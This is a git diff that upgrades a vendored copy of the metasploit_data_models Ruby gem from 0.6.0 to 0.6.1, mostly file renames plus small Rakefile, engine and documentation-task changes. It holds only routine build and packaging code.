lib/gemcache/ruby/1.9.1/gems/{metasploit_data_models-0.6.0 => metasploit_data_models-0.6.1}/db/migrate/20101002000000_add_query.rb (100%) rename lib/gemcache/ruby/1.9.1/gems/{metasploit_data_models-0.6.0 => metasploit_data_models-0.6.1}/db/migrate/20101007000000_add_vuln_info.rb (100%) rename lib/gemcache/ruby/1.9.1/gems/{metasploit_data_models-0.6.0 => metasploit_data_models-0.6.1}/db/migrate/20101008111800_add_clients_to_campaigns.rb (100%) rename lib/gemcache/ruby/1.9.1/gems/{metasploit_data_models-0.6.0 => metasploit_data_models-0.6.1}/db/migrate/20101009023300_add_campaign_attachments.rb (100%) rename lib/gemcache/ruby/1.9.1/gems/{metasploit_data_models-0.6.0 => metasploit_data_models-0.6.1}/db/migrate/20101104135100_add_imported_creds.rb (100%) rename lib/gemcache/ruby/1.9.1/gems/{metasploit_data_models-0.6.0 => metasploit_data_models-0.6.1}/db/migrate/20101203000000_fix_web_tables.rb (100%) rename lib/gemcache/ruby/1.9.1/gems/{metasploit_data_models-0.6.0 => metasploit_data_models-0.6.1}/db/migrate/20101203000001_expand_host_comment.rb (100%) rename lib/gemcache/ruby/1.9.1/gems/{metasploit_data_models-0.6.0 => metasploit_data_models-0.6.1}/db/migrate/20101206212033_add_limit_to_network_to_workspaces.rb (100%) rename lib/gemcache/ruby/1.9.1/gems/{metasploit_data_models-0.6.0 => metasploit_data_models-0.6.1}/db/migrate/20110112154300_add_module_uuid_to_tasks.rb (100%) rename lib/gemcache/ruby/1.9.1/gems/{metasploit_data_models-0.6.0 => metasploit_data_models-0.6.1}/db/migrate/20110204112800_add_host_tags.rb (100%) rename lib/gemcache/ruby/1.9.1/gems/{metasploit_data_models-0.6.0 => metasploit_data_models-0.6.1}/db/migrate/20110317144932_add_session_table.rb (100%) rename lib/gemcache/ruby/1.9.1/gems/{metasploit_data_models-0.6.0 => metasploit_data_models-0.6.1}/db/migrate/20110414180600_add_local_id_to_session_table.rb (100%) rename lib/gemcache/ruby/1.9.1/gems/{metasploit_data_models-0.6.0 => metasploit_data_models-0.6.1}/db/migrate/20110415175705_add_routes_table.rb (100%) rename lib/gemcache/ruby/1.9.1/gems/{metasploit_data_models-0.6.0 => metasploit_data_models-0.6.1}/db/migrate/20110422000000_convert_binary.rb (100%) rename lib/gemcache/ruby/1.9.1/gems/{metasploit_data_models-0.6.0 => metasploit_data_models-0.6.1}/db/migrate/20110425095900_add_last_seen_to_sessions.rb (100%) rename lib/gemcache/ruby/1.9.1/gems/{metasploit_data_models-0.6.0 => metasploit_data_models-0.6.1}/db/migrate/20110513143900_track_successful_exploits.rb (100%) rename lib/gemcache/ruby/1.9.1/gems/{metasploit_data_models-0.6.0 => metasploit_data_models-0.6.1}/db/migrate/20110517160800_rename_and_prune_nessus_vulns.rb (100%) rename lib/gemcache/ruby/1.9.1/gems/{metasploit_data_models-0.6.0 => metasploit_data_models-0.6.1}/db/migrate/20110527000000_add_task_id_to_reports_table.rb (100%) rename lib/gemcache/ruby/1.9.1/gems/{metasploit_data_models-0.6.0 => metasploit_data_models-0.6.1}/db/migrate/20110527000001_add_api_keys_table.rb (100%) rename lib/gemcache/ruby/1.9.1/gems/{metasploit_data_models-0.6.0 => metasploit_data_models-0.6.1}/db/migrate/20110606000001_add_macros_table.rb (100%) rename lib/gemcache/ruby/1.9.1/gems/{metasploit_data_models-0.6.0 => metasploit_data_models-0.6.1}/db/migrate/20110622000000_add_settings_to_tasks_table.rb (100%) rename lib/gemcache/ruby/1.9.1/gems/{metasploit_data_models-0.6.0 => metasploit_data_models-0.6.1}/db/migrate/20110624000001_add_listeners_table.rb (100%) rename lib/gemcache/ruby/1.9.1/gems/{metasploit_data_models-0.6.0 => metasploit_data_models-0.6.1}/db/migrate/20110625000001_add_macro_to_listeners_table.rb (100%) rename lib/gemcache/ruby/1.9.1/gems/{metasploit_data_models-0.6.0 => metasploit_data_models-0.6.1}/db/migrate/20110630000001_add_nexpose_consoles_table.rb (100%) rename lib/gemcache/ruby/1.9.1/gems/{metasploit_data_models-0.6.0 => metasploit_data_models-0.6.1}/db/migrate/20110630000002_add_name_to_nexpose_consoles_table.rb (100%) rename lib/gemcache/ruby/1.9.1/gems/{metasploit_data_models-0.6.0 => metasploit_data_models-0.6.1}/db/migrate/20110717000001_add_profiles_table.rb (100%) rename lib/gemcache/ruby/1.9.1/gems/{metasploit_data_models-0.6.0 => metasploit_data_models-0.6.1}/db/migrate/20110727163801_expand_cred_ptype_column.rb (100%) rename lib/gemcache/ruby/1.9.1/gems/{metasploit_data_models-0.6.0 => metasploit_data_models-0.6.1}/db/migrate/20110730000001_add_initial_indexes.rb (100%) rename lib/gemcache/ruby/1.9.1/gems/{metasploit_data_models-0.6.0 => metasploit_data_models-0.6.1}/db/migrate/20110812000001_prune_indexes.rb (100%) rename lib/gemcache/ruby/1.9.1/gems/{metasploit_data_models-0.6.0 => metasploit_data_models-0.6.1}/db/migrate/20110922000000_expand_notes.rb (100%) rename lib/gemcache/ruby/1.9.1/gems/{metasploit_data_models-0.6.0 => metasploit_data_models-0.6.1}/db/migrate/20110928101300_add_mod_ref_table.rb (100%) rename lib/gemcache/ruby/1.9.1/gems/{metasploit_data_models-0.6.0 => metasploit_data_models-0.6.1}/db/migrate/20111011110000_add_display_name_to_reports_table.rb (100%) rename lib/gemcache/ruby/1.9.1/gems/{metasploit_data_models-0.6.0 => metasploit_data_models-0.6.1}/db/migrate/20111203000000_inet_columns.rb (100%) rename lib/gemcache/ruby/1.9.1/gems/{metasploit_data_models-0.6.0 => metasploit_data_models-0.6.1}/db/migrate/20111204000000_more_inet_columns.rb (100%) rename lib/gemcache/ruby/1.9.1/gems/{metasploit_data_models-0.6.0 => metasploit_data_models-0.6.1}/db/migrate/20111210000000_add_scope_to_hosts.rb (100%) rename lib/gemcache/ruby/1.9.1/gems/{metasploit_data_models-0.6.0 => metasploit_data_models-0.6.1}/db/migrate/20120126110000_add_virtual_host_to_hosts.rb (100%) rename lib/gemcache/ruby/1.9.1/gems/{metasploit_data_models-0.6.0 => metasploit_data_models-0.6.1}/db/migrate/20120411173220_rename_workspace_members.rb (100%) rename lib/gemcache/ruby/1.9.1/gems/{metasploit_data_models-0.6.0 => metasploit_data_models-0.6.1}/db/migrate/20120601152442_add_counter_caches_to_hosts.rb (100%) rename lib/gemcache/ruby/1.9.1/gems/{metasploit_data_models-0.6.0 => metasploit_data_models-0.6.1}/db/migrate/20120625000000_add_vuln_details.rb (100%) rename lib/gemcache/ruby/1.9.1/gems/{metasploit_data_models-0.6.0 => metasploit_data_models-0.6.1}/db/migrate/20120625000001_add_host_details.rb (100%) rename lib/gemcache/ruby/1.9.1/gems/{metasploit_data_models-0.6.0 => metasploit_data_models-0.6.1}/db/migrate/20120625000002_expand_details.rb (100%) rename lib/gemcache/ruby/1.9.1/gems/{metasploit_data_models-0.6.0 => metasploit_data_models-0.6.1}/db/migrate/20120625000003_expand_details2.rb (100%) rename lib/gemcache/ruby/1.9.1/gems/{metasploit_data_models-0.6.0 => metasploit_data_models-0.6.1}/db/migrate/20120625000004_add_vuln_attempts.rb (100%) rename lib/gemcache/ruby/1.9.1/gems/{metasploit_data_models-0.6.0 => metasploit_data_models-0.6.1}/db/migrate/20120625000005_add_vuln_and_host_counter_caches.rb (100%) rename lib/gemcache/ruby/1.9.1/gems/{metasploit_data_models-0.6.0 => metasploit_data_models-0.6.1}/db/migrate/20120625000006_add_module_details.rb (100%) rename lib/gemcache/ruby/1.9.1/gems/{metasploit_data_models-0.6.0 => metasploit_data_models-0.6.1}/db/migrate/20120625000007_add_exploit_attempts.rb (100%) rename lib/gemcache/ruby/1.9.1/gems/{metasploit_data_models-0.6.0 => metasploit_data_models-0.6.1}/db/migrate/20120625000008_add_fail_message.rb (100%) rename lib/gemcache/ruby/1.9.1/gems/{metasploit_data_models-0.6.0 => metasploit_data_models-0.6.1}/db/migrate/20120718202805_add_owner_and_payload_to_web_vulns.rb (100%) rename lib/gemcache/ruby/1.9.1/gems/{metasploit_data_models-0.6.0 => metasploit_data_models-0.6.1}/db/migrate/20130228214900_change_required_columns_to_null_false_in_web_vulns.rb (100%) rename lib/gemcache/ruby/1.9.1/gems/{metasploit_data_models-0.6.0 => metasploit_data_models-0.6.1}/lib/mdm.rb (100%) rename lib/gemcache/ruby/1.9.1/gems/{metasploit_data_models-0.6.0 => metasploit_data_models-0.6.1}/lib/mdm/host/operating_system_normalization.rb (100%) rename lib/gemcache/ruby/1.9.1/gems/{metasploit_data_models-0.6.0 => metasploit_data_models-0.6.1}/lib/metasploit_data_models.rb (100%) rename lib/gemcache/ruby/1.9.1/gems/{metasploit_data_models-0.6.0 => metasploit_data_models-0.6.1}/lib/metasploit_data_models/base64_serializer.rb (100%) create mode 100644 lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.1/lib/metasploit_data_models/engine.rb rename lib/gemcache/ruby/1.9.1/gems/{metasploit_data_models-0.6.0 => metasploit_data_models-0.6.1}/lib/metasploit_data_models/serialized_prefs.rb (100%) rename lib/gemcache/ruby/1.9.1/gems/{metasploit_data_models-0.6.0 => metasploit_data_models-0.6.1}/lib/metasploit_data_models/validators/ip_format_validator.rb (100%) rename lib/gemcache/ruby/1.9.1/gems/{metasploit_data_models-0.6.0 => metasploit_data_models-0.6.1}/lib/metasploit_data_models/validators/password_is_strong_validator.rb (100%) rename lib/gemcache/ruby/1.9.1/gems/{metasploit_data_models-0.6.0 => metasploit_data_models-0.6.1}/lib/metasploit_data_models/version.rb (96%) create mode 100644 lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.1/lib/tasks/yard.rake rename lib/gemcache/ruby/1.9.1/gems/{metasploit_data_models-0.6.0 => metasploit_data_models-0.6.1}/metasploit_data_models.gemspec (100%) rename lib/gemcache/ruby/1.9.1/gems/{metasploit_data_models-0.6.0 => metasploit_data_models-0.6.1}/script/rails (100%) rename lib/gemcache/ruby/1.9.1/gems/{metasploit_data_models-0.6.0 => metasploit_data_models-0.6.1}/spec/app/models/mdm/web_vuln_spec.rb (100%) rename lib/gemcache/ruby/1.9.1/gems/{metasploit_data_models-0.6.0 => metasploit_data_models-0.6.1}/spec/dummy/Rakefile (100%) rename lib/gemcache/ruby/1.9.1/gems/{metasploit_data_models-0.6.0 => metasploit_data_models-0.6.1}/spec/dummy/app/assets/javascripts/application.js (100%) rename lib/gemcache/ruby/1.9.1/gems/{metasploit_data_models-0.6.0 => metasploit_data_models-0.6.1}/spec/dummy/app/assets/stylesheets/application.css (100%) rename lib/gemcache/ruby/1.9.1/gems/{metasploit_data_models-0.6.0 => metasploit_data_models-0.6.1}/spec/dummy/app/controllers/application_controller.rb (100%) rename lib/gemcache/ruby/1.9.1/gems/{metasploit_data_models-0.6.0 => metasploit_data_models-0.6.1}/spec/dummy/app/helpers/application_helper.rb (100%) rename lib/gemcache/ruby/1.9.1/gems/{metasploit_data_models-0.6.0 => metasploit_data_models-0.6.1}/spec/dummy/app/mailers/.gitkeep (100%) rename lib/gemcache/ruby/1.9.1/gems/{metasploit_data_models-0.6.0 => metasploit_data_models-0.6.1}/spec/dummy/app/models/.gitkeep (100%) rename lib/gemcache/ruby/1.9.1/gems/{metasploit_data_models-0.6.0 => metasploit_data_models-0.6.1}/spec/dummy/app/views/layouts/application.html.erb (100%) rename lib/gemcache/ruby/1.9.1/gems/{metasploit_data_models-0.6.0 => metasploit_data_models-0.6.1}/spec/dummy/config.ru (100%) rename lib/gemcache/ruby/1.9.1/gems/{metasploit_data_models-0.6.0 => metasploit_data_models-0.6.1}/spec/dummy/config/application.rb (98%) rename lib/gemcache/ruby/1.9.1/gems/{metasploit_data_models-0.6.0 => metasploit_data_models-0.6.1}/spec/dummy/config/boot.rb (100%) rename lib/gemcache/ruby/1.9.1/gems/{metasploit_data_models-0.6.0 => metasploit_data_models-0.6.1}/spec/dummy/config/database.yml.example (100%) rename lib/gemcache/ruby/1.9.1/gems/{metasploit_data_models-0.6.0 => metasploit_data_models-0.6.1}/spec/dummy/config/environment.rb (100%) rename lib/gemcache/ruby/1.9.1/gems/{metasploit_data_models-0.6.0 => metasploit_data_models-0.6.1}/spec/dummy/config/environments/development.rb (100%) rename lib/gemcache/ruby/1.9.1/gems/{metasploit_data_models-0.6.0 => metasploit_data_models-0.6.1}/spec/dummy/config/environments/production.rb (100%) rename lib/gemcache/ruby/1.9.1/gems/{metasploit_data_models-0.6.0 => metasploit_data_models-0.6.1}/spec/dummy/config/environments/test.rb (100%) rename lib/gemcache/ruby/1.9.1/gems/{metasploit_data_models-0.6.0 => metasploit_data_models-0.6.1}/spec/dummy/config/initializers/backtrace_silencers.rb (100%) rename lib/gemcache/ruby/1.9.1/gems/{metasploit_data_models-0.6.0 => metasploit_data_models-0.6.1}/spec/dummy/config/initializers/inflections.rb (100%) rename lib/gemcache/ruby/1.9.1/gems/{metasploit_data_models-0.6.0 => metasploit_data_models-0.6.1}/spec/dummy/config/initializers/mime_types.rb (100%) rename lib/gemcache/ruby/1.9.1/gems/{metasploit_data_models-0.6.0 => metasploit_data_models-0.6.1}/spec/dummy/config/initializers/secret_token.rb (100%) rename lib/gemcache/ruby/1.9.1/gems/{metasploit_data_models-0.6.0 => metasploit_data_models-0.6.1}/spec/dummy/config/initializers/session_store.rb (100%) rename lib/gemcache/ruby/1.9.1/gems/{metasploit_data_models-0.6.0 => metasploit_data_models-0.6.1}/spec/dummy/config/initializers/wrap_parameters.rb (100%) rename lib/gemcache/ruby/1.9.1/gems/{metasploit_data_models-0.6.0 => metasploit_data_models-0.6.1}/spec/dummy/config/routes.rb (100%) rename lib/gemcache/ruby/1.9.1/gems/{metasploit_data_models-0.6.0 => metasploit_data_models-0.6.1}/spec/dummy/db/schema.rb (100%) rename lib/gemcache/ruby/1.9.1/gems/{metasploit_data_models-0.6.0 => metasploit_data_models-0.6.1}/spec/dummy/lib/assets/.gitkeep (100%) rename lib/gemcache/ruby/1.9.1/gems/{metasploit_data_models-0.6.0 => metasploit_data_models-0.6.1}/spec/dummy/log/.gitkeep (100%) rename lib/gemcache/ruby/1.9.1/gems/{metasploit_data_models-0.6.0 => metasploit_data_models-0.6.1}/spec/dummy/public/404.html (100%) rename lib/gemcache/ruby/1.9.1/gems/{metasploit_data_models-0.6.0 => metasploit_data_models-0.6.1}/spec/dummy/public/422.html (100%) rename lib/gemcache/ruby/1.9.1/gems/{metasploit_data_models-0.6.0 => metasploit_data_models-0.6.1}/spec/dummy/public/500.html (100%) rename lib/gemcache/ruby/1.9.1/gems/{metasploit_data_models-0.6.0 => metasploit_data_models-0.6.1}/spec/dummy/public/favicon.ico (100%) rename lib/gemcache/ruby/1.9.1/gems/{metasploit_data_models-0.6.0 => metasploit_data_models-0.6.1}/spec/dummy/script/rails (100%) rename lib/gemcache/ruby/1.9.1/gems/{metasploit_data_models-0.6.0 => metasploit_data_models-0.6.1}/spec/factories/mdm/addresses.rb (100%) rename lib/gemcache/ruby/1.9.1/gems/{metasploit_data_models-0.6.0 => metasploit_data_models-0.6.1}/spec/factories/mdm/hosts.rb (100%) rename lib/gemcache/ruby/1.9.1/gems/{metasploit_data_models-0.6.0 => metasploit_data_models-0.6.1}/spec/factories/mdm/services.rb (100%) rename lib/gemcache/ruby/1.9.1/gems/{metasploit_data_models-0.6.0 => metasploit_data_models-0.6.1}/spec/factories/mdm/users.rb (100%) rename lib/gemcache/ruby/1.9.1/gems/{metasploit_data_models-0.6.0 => metasploit_data_models-0.6.1}/spec/factories/mdm/web_sites.rb (100%) rename lib/gemcache/ruby/1.9.1/gems/{metasploit_data_models-0.6.0 => metasploit_data_models-0.6.1}/spec/factories/mdm/web_vulns.rb (100%) rename lib/gemcache/ruby/1.9.1/gems/{metasploit_data_models-0.6.0 => metasploit_data_models-0.6.1}/spec/factories/mdm/workspaces.rb (100%) rename lib/gemcache/ruby/1.9.1/gems/{metasploit_data_models-0.6.0 => metasploit_data_models-0.6.1}/spec/lib/base64_serializer_spec.rb (100%) rename lib/gemcache/ruby/1.9.1/gems/{metasploit_data_models-0.6.0 => metasploit_data_models-0.6.1}/spec/spec_helper.rb (100%) rename lib/gemcache/ruby/1.9.1/specifications/{metasploit_data_models-0.6.0.gemspec => metasploit_data_models-0.6.1.gemspec} (97%) diff --git a/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/Rakefile b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/Rakefile deleted file mode 100755 index 8fd6dc482f..0000000000 --- a/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/Rakefile +++ /dev/null @@ -1,34 +0,0 @@ -#!/usr/bin/env rake -begin - require 'bundler/setup' -rescue LoadError - puts 'You must `gem install bundler` and `bundle install` to run rake tasks' -end - -APP_RAKEFILE = File.expand_path('../spec/dummy/Rakefile', __FILE__) -load 'rails/tasks/engine.rake' - -Bundler::GemHelper.install_tasks - -# -# load rake files like a normal rails app -# @see http://viget.com/extend/rails-engine-testing-with-rspec-capybara-and-factorygirl -# - -pathname = Pathname.new(__FILE__) -root = pathname.parent -rakefile_glob = root.join('lib', 'tasks', '**', '*.rake').to_path - -Dir.glob(rakefile_glob) do |rakefile| - load rakefile -end - -require 'rspec/core' -require 'rspec/core/rake_task' - -# Depend on app:db:test:prepare so that test database is recreated just like in a full rails app -# @see http://viget.com/extend/rails-engine-testing-with-rspec-capybara-and-factorygirl -RSpec::Core::RakeTask.new(:spec => 'app:db:test:prepare') - -task :default => :spec - diff --git a/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/lib/metasploit_data_models/engine.rb b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/lib/metasploit_data_models/engine.rb deleted file mode 100644 index 4f73f5c985..0000000000 --- a/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/lib/metasploit_data_models/engine.rb +++ /dev/null @@ -1,14 +0,0 @@ -require 'rails' - -module MetasploitDataModels - class Engine < Rails::Engine - - # @see http://viget.com/extend/rails-engine-testing-with-rspec-capybara-and-factorygirl - config.generators do |g| - g.assets false - g.fixture_replacement :factory_girl, :dir => 'spec/factories' - g.helper false - g.test_framework :rspec, :fixture => false - end - end -end \ No newline at end of file diff --git a/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/lib/tasks/yard.rake b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/lib/tasks/yard.rake deleted file mode 100644 index cc279684e7..0000000000 --- a/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/lib/tasks/yard.rake +++ /dev/null @@ -1,27 +0,0 @@ -# @note All options not specific to any given rake task should go in the .yardopts file so they are available to both -# the below rake tasks and when invoking `yard` from the command line - -require 'yard' -require 'yard/rake/yardoc_task' - -namespace :yard do - YARD::Rake::YardocTask.new(:doc) do |t| - # --no-stats here as 'stats' task called after will print fuller stats - t.options = ['--no-stats'] - - t.after = Proc.new { - Rake::Task['yard:stats'].execute - } - end - - desc "Shows stats for YARD Documentation including listing undocumented modules, classes, constants, and methods" - task :stats => :environment do - stats = YARD::CLI::Stats.new - stats.run('--compact', '--list-undoc') - end -end - -# @todo Figure out how to just clone description from yard:doc -desc "Generate YARD documentation" -# allow calling namespace to as a task that goes to default task for namespace -task :yard => ['yard:doc'] \ No newline at end of file diff --git a/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/.gitignore b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.1/.gitignore similarity index 100% rename from lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/.gitignore rename to lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.1/.gitignore diff --git a/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/.rspec b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.1/.rspec similarity index 100% rename from lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/.rspec rename to lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.1/.rspec diff --git a/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/.simplecov b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.1/.simplecov similarity index 100% rename from lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/.simplecov rename to lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.1/.simplecov diff --git a/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/.yardopts b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.1/.yardopts similarity index 100% rename from lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/.yardopts rename to lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.1/.yardopts diff --git a/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/Gemfile b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.1/Gemfile similarity index 100% rename from lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/Gemfile rename to lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.1/Gemfile diff --git a/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/LICENSE b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.1/LICENSE similarity index 100% rename from lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/LICENSE rename to lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.1/LICENSE diff --git a/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/README.md b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.1/README.md similarity index 100% rename from lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/README.md rename to lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.1/README.md diff --git a/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.1/Rakefile b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.1/Rakefile new file mode 100755 index 0000000000..6236c59a57 --- /dev/null +++ b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.1/Rakefile @@ -0,0 +1,53 @@ +#!/usr/bin/env rake +begin + require 'bundler/setup' +rescue LoadError + puts 'You must `gem install bundler` and `bundle install` to run rake tasks' +end + +print_without = false +APP_RAKEFILE = File.expand_path('../spec/dummy/Rakefile', __FILE__) + +begin + load 'rails/tasks/engine.rake' +rescue LoadError + puts "railties not in bundle, so can't load engine tasks." + print_without = true +end + +Bundler::GemHelper.install_tasks + +# +# load rake files like a normal rails app +# @see http://viget.com/extend/rails-engine-testing-with-rspec-capybara-and-factorygirl +# + +pathname = Pathname.new(__FILE__) +root = pathname.parent +rakefile_glob = root.join('lib', 'tasks', '**', '*.rake').to_path + +Dir.glob(rakefile_glob) do |rakefile| + load rakefile +end + +begin + require 'rspec/core' +rescue LoadError + puts "rspec not in bundle, so can't set up spec tasks. " \ + "To run specs ensure to install the development and test groups." + print_without = true +else + require 'rspec/core/rake_task' + + # Depend on app:db:test:prepare so that test database is recreated just like in a full rails app + # @see http://viget.com/extend/rails-engine-testing-with-rspec-capybara-and-factorygirl + RSpec::Core::RakeTask.new(:spec => 'app:db:test:prepare') + + task :default => :spec +end + +if print_without + puts "Bundle currently installed '--without #{Bundler.settings.without.join(' ')}'." + puts "To clear the without option do `bundle install --without ''` (the --without flag with an empty string) or " \ + "`rm -rf .bundle` to remove the .bundle/config manually and then `bundle install`" +end diff --git a/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/app/models/mdm/api_key.rb b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.1/app/models/mdm/api_key.rb similarity index 100% rename from lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/app/models/mdm/api_key.rb rename to lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.1/app/models/mdm/api_key.rb diff --git a/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/app/models/mdm/client.rb b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.1/app/models/mdm/client.rb similarity index 100% rename from lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/app/models/mdm/client.rb rename to lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.1/app/models/mdm/client.rb diff --git a/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/app/models/mdm/cred.rb b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.1/app/models/mdm/cred.rb similarity index 100% rename from lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/app/models/mdm/cred.rb rename to lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.1/app/models/mdm/cred.rb diff --git a/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/app/models/mdm/event.rb b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.1/app/models/mdm/event.rb similarity index 100% rename from lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/app/models/mdm/event.rb rename to lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.1/app/models/mdm/event.rb diff --git a/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/app/models/mdm/exploit_attempt.rb b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.1/app/models/mdm/exploit_attempt.rb similarity index 100% rename from lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/app/models/mdm/exploit_attempt.rb rename to lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.1/app/models/mdm/exploit_attempt.rb diff --git a/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/app/models/mdm/exploited_host.rb b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.1/app/models/mdm/exploited_host.rb similarity index 100% rename from lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/app/models/mdm/exploited_host.rb rename to lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.1/app/models/mdm/exploited_host.rb diff --git a/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/app/models/mdm/host.rb b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.1/app/models/mdm/host.rb similarity index 100% rename from lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/app/models/mdm/host.rb rename to lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.1/app/models/mdm/host.rb diff --git a/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/app/models/mdm/host_detail.rb b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.1/app/models/mdm/host_detail.rb similarity index 100% rename from lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/app/models/mdm/host_detail.rb rename to lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.1/app/models/mdm/host_detail.rb diff --git a/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/app/models/mdm/host_tag.rb b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.1/app/models/mdm/host_tag.rb similarity index 100% rename from lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/app/models/mdm/host_tag.rb rename to lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.1/app/models/mdm/host_tag.rb diff --git a/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/app/models/mdm/imported_cred.rb b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.1/app/models/mdm/imported_cred.rb similarity index 100% rename from lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/app/models/mdm/imported_cred.rb rename to lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.1/app/models/mdm/imported_cred.rb diff --git a/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/app/models/mdm/listener.rb b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.1/app/models/mdm/listener.rb similarity index 100% rename from lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/app/models/mdm/listener.rb rename to lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.1/app/models/mdm/listener.rb diff --git a/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/app/models/mdm/loot.rb b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.1/app/models/mdm/loot.rb similarity index 100% rename from lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/app/models/mdm/loot.rb rename to lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.1/app/models/mdm/loot.rb diff --git a/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/app/models/mdm/macro.rb b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.1/app/models/mdm/macro.rb similarity index 100% rename from lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/app/models/mdm/macro.rb rename to lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.1/app/models/mdm/macro.rb diff --git a/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/app/models/mdm/mod_ref.rb b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.1/app/models/mdm/mod_ref.rb similarity index 100% rename from lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/app/models/mdm/mod_ref.rb rename to lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.1/app/models/mdm/mod_ref.rb diff --git 